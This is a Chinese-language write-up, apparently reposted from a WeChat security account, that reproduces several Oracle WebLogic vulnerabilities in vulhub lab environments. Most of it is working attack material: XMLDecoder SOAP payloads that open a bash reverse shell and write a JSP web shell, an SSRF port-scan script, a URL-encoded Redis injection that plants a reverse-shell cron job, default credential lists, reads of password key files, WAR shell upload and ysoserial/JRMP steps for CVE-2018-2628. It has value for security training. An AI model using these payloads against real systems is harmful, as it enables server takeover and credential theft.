【漏洞复现】WebLogic系列漏洞复现
2022-10-10 09:32:15 Author: 白帽子(查看原文) 阅读量:42 收藏

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞描述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。

受影响WebLogic版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

环境搭建

使用vulhub项目
获取docker

实验过程

1、访问地址

http://192.168.137.130:7001/


2、判断是否存在漏洞

http://192.168.137.130:7001/wls-wsat/CoordinatorPortType11

若存在图中所示,即说明可能存在。

3、使用nc监听端口,构造POST数据包进行测试,反弹shell。

nc -l -p 21

发送数据包(其中反弹shell的语句,需要进行编码,否则解析XML时将出现格式错误)

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: your-ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.137.130/21 0>&1</string> </void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>



成功反弹shell,获取root权限

4、写入一句话木马


构造POST数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: you-ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>



访问test.jsp

http://192.168.137.130:7001/bea_wls_internal/test.jsp


漏洞原理


CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下:

http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType

Weblogic-SSRF漏洞复现

服务端请求伪造(Server-Side Request Forgery)

是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,
所以SSRF的一大利用是探测内网端口开放信息。(所以SSRF归类为信息泄漏类型)

漏洞出现位置与解决方法:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了,我们这里采用的是改后辍的方式。

修复步骤如下:

1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
2.将weblogic安装目录下的server/lib/uddiexplorer.war下载
3.用winrar等工具打开uddiexplorer.war
4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
5.保存后上传回服务端替换原先的uddiexplorer.war
6.对于多台主机组成的集群,针对每台主机都要做这样的操作
7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用)

漏洞复现

1、访问地址,查看是否存在

http://172.21.0.3:7001/uddiexplorer/


2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

3、使用Burpsuite测试,因为访问的是内网IP,按道理来说应该是拒绝访问的。

4、访问存在的端口时,比如http://127.0.0.1,可访问的端口将回显错误,一般返回内容为status code,如果访问的是非http协议的话,则返回did not have a valid SOAP content-type

5、访问不存在的端口时,将返回could not connect HTTP server

6、可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是
docker的网段(docker环境的网段一般是172.*):

使用脚本进行探测:

import threadimport timeimport reimport requests

def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3)
def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass

if __name__ == '__main__': ip = "172.21.0" if ip: print ip ite_ip(ip) else: print "no ip"

运行后得到:

发现存在6379端口,开放redis服务。

通过发送三条redis命令,将反弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave


将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意:换行符是"\r\n",也就是"%0D%0A")

%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61


把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后

使用nc -lvnp 21进行监听,反弹shell。

可利用的cron:

/etc/crontab 这个是肯定的/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。/var/spool/cron/root centos系统下root用户的cron文件/var/spool/cron/crontabs/root debian系统下root用户的cron文件

WebLogic Weak Password复现

环境

基于vulhub的weblogic弱口令漏洞和任意文件读取漏洞

弱口令

本环境存在弱口令

用户名:weblogic密码:[email protected]


weblogic常见的弱口令组合

1.  Oracle - WebLogicMethod	HTTPUser ID	systemPassword	passwordLevel	AdministratorDoc	Notes	Login located at /console
2. Oracle - WebLogicMethod HTTPUser ID weblogicPassword weblogicLevel AdministratorDoc Notes Login located at /console
3. Oracle - WebLogicVersion 9.0 Beta (Diablo)User ID weblogicPassword weblogicDoc
4. Oracle - WebLogic Process IntegratorVersion 2.0User ID adminPassword securityDoc
5. Oracle - WebLogic Process IntegratorVersion 2.0User ID joePassword passwordDoc
6. Oracle - WebLogic Process IntegratorVersion 2.0User ID maryPassword passwordDoc
7. Oracle - WebLogic Process IntegratorVersion 2.0User ID systemPassword securityDoc
8. Oracle - WebLogic Process IntegratorVersion 2.0User ID wlcsystemPassword wlcsystemDoc
9. Oracle - WebLogic Process IntegratorVersion 2.0User ID wlpisystemPassword wlpisystemDoc


获取到账号和密码之后,我们可以进入到后台去上传war的web应用程序和木马获得权限

任意文件读取

路径

/hello/file.jsp?path=/etc/passwd

访问路径,可下载读取任意文件

接下来如何更深入的利用任意文件读取。

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。

在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:

/hello/file.jsp?path=security/SerializedSystemIni.dat

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:

/hello/file.jsp?path=config/config.xml



解密可以参考重剑无锋大佬文章。

https://www.freebuf.com/articles/web/220147.html

最终结果

后台上传shell

war简介

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了。
简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

war打包

linux下把文件打包成war的压缩包,命令如下

jar -cvf blog.war *

查看example.war

jar -tf blog.war

也可以先把文件压缩成zip,再改后缀名为war

部署war文件

使用刚刚获取到的密码进行登录。

进行安装war包

选择上载文件

其他均可默认

访问

http://172.23.0.2:7001/shell/shell.jsp


WebLogic两处任意文件上传漏洞(CVE-2018-2894)

涉及版本:

version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

漏洞地址

/ws_utc/config.do/ws_utc/begin.do

漏洞复现

1、访问/ws_utc/config.do,修改当前的工作目录为其他目录。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2、点击左侧"安全"菜单,添加Keystore,设置默认名字和密码。


3、检查时间戳

4、上传后的shell位于工作台配置的目录下的/config/keystore中,文件名格式采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名。

漏洞原理

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:

public void changeWorkDir(String path) {    String[] oldPaths = this.getRelatedPaths();    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {        this.isWorkDirChangeable = false;        this.isWorkDirWritable = isDirWritable(path);        this.isWorkDirChangeable = true;        this.setTestClientWorkDir(path);    } else {        this.persistWorkDir(path);        this.init();    }
if (this.isWorkDirWritable) { String[] newPaths = this.getRelatedPaths(); moveDirs(oldPaths, newPaths); } else { Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path."); }
}

此函数用于改变工作目录,但其中并未做任何检测。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:

@Path("/keystore")    @POST    @Produces({"application/xml", "application/json"})    @Consumes({"multipart/form-data"})    public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {        if (!RequestUtil.isRequstedByAdmin(this.request)) {            return Response.status(Status.FORBIDDEN).build();        } else {            if (TestClientRT.isVerbose()) {                Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");            }
String currentTimeValue = "" + (new Date()).getTime(); KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue); .... } }


跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31

public static String getKeyStorePath() {        return getConfigDir() + File.separator + "keystore";    }

得到要写入的路径storePath。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:

public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {    ...    if (attachName != null && attachName.trim().length() > 0) {        if (attachName != null && attachName.trim().length() != 0) {            attachName = this.refactorAttachName(attachName);            if (fileNamePrefix == null) {                fileNamePrefix = key;            }
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath(); kvMap.addValue(key, filename); if (isExtactAttachment) { this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class)); } } } ...}


把上传文件的内容传到了storePath目录里,文件名满足fileNamePrefix + "_" + attachName。这过程没有任何过滤和检查:)

Weblogic T3反序列化漏洞(CVE-2018-2628)

漏洞描述


CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

漏洞版本:

Weblogic 10.3.6.0Weblogic 12.1.3.0Weblogic 12.2.1.2Weblogic 12.2.1.3

基本原理:

序列化:简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。

JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)

打个比喻就是相当于你在网上买个玩具房子,他不可能直接快递给你邮个房子,先把房子拆开邮走(序列化),然后收到时在拼装成一个房子(反序列化)。在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。

漏洞复现

1、快速检测,可利用nmap --script=weblogic-t3-infi.nse或者其他检测工具。
如果目标开启了T3协议就会在扫描中显示。

2、使用CVE-2018-2628检测工具进行检测

3、确认目标存在Weblogic T3反序列化后,在Ubuntu主机上运行JRMPListerner并开启端口监听。使得触发漏洞后Weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。

4、命令执行的格式:

java -cp ysoserial-\<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\<listen port>\ <gadget class>\<command>

在Ubuntu主机上监听一个端口,这样目的主机上的Weblogic进行远程方法调用时,可以连接到Ubuntu主机。是执行的命令,windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。

当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。

在Ubuntu主机上新打开一个终端,同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。

命令执行的格式:

java -jar ysoserial-\<version>-cve-2018-2628-all.jar JRMPClient2 \<JRMPListener IP>:\<JRMPListener Port> | xxd -p | tr -d $'\n' && echo


将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。

更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址192.168.10.129。当然端口也可以自定义。

在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。

另一边观察Ubuntu主机发现触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246383&idx=2&sn=ea69dd25553c93d1eef8756a6968169c&chksm=82ea5746b59dde5091792f99d53e67a8adb6076cb3b3e83731c79c0308ae871f676afc2d8841#rd
如有侵权请联系:admin#unsafe.sh